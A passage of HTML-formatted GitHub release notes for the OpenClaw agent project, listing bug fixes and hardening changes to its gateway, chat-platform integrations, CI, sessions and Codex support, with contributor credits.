data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
